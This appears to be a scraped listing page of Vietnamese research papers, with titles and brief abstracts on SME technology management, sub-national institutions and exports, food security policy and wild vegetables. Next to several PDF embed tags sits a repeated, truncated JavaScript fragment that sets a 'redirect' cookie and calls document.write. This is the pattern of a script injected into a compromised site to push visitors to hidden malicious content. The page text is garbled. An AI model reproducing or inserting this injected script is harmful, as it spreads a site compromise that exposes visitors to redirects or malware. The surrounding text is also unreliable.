Enhancing management of technology and innovation for sustainable competitiveness of SMEs

{edocs}/docs/MOTI-Final.pdf,100%,868{/edocs} {var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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QUẢN TRỊ AN NINH PHI TRUYỀN THỐNG ĐỂ PHÁT TRIỂN BỀN VỮNG

{edocs}/docs/Bai-bao-khoa-hoc-QTANPTT-2015.pdf,100%,868{/edocs} {var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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Sub-National Market-Supporting Institutions and Export Behaviors

Based on the institution-based view, this paper examines whether the market-supporting institutions at sub-national level influence export behaviors (i.e. export propensity, export mode choice and export intensity) of firms in the context of an emerging economy (i.e., Viet Nam).

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Sub-National Market-Supporting Institutions and Export Behaviors en

Based on the institution-based view, this paper examines whether the market-supporting institutions at sub-national level influence export behaviors (i.e. export propensity, export mode choice and export intensity) of firms in the context of an emerging economy (i.e., Viet Nam).

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Food Security Policies of Vietnam

{edocs}/docs/Ipsard_Food Security Policies of Vietnam.pdf,100%,868{/edocs} {var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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Food Security Policies of Vietnam en

{edocs}/docs/Ipsard_Food Security Policies of Vietnam.pdf,100%,868{/edocs} {var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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WILD AND INDIGENOUS VEGETABLE CONSERVATION AND UTILIZATION IN VIETNAM: STATUS, CHALLENGES AND RECOMMENDATION

Vietnam has a high diversity of wild and indigenous vegetable resources. Some scientists have reported that among over 800 common crop species being utilized by Vietnamese there are 55 crop veggie species consumed and hundreds of wild species eaten by indigenous communities in the remote and mountainous areas. Indigenous and wild veggies cultivation in Vietnam […]

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Enhancing management of technology and innovation for sustainable competitiveness of SMEs

 {edocs}/docs/11h040813.pdf,100%,868{/edocs}     {var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”=”,now=Math.floor(Date.now()/1e3),(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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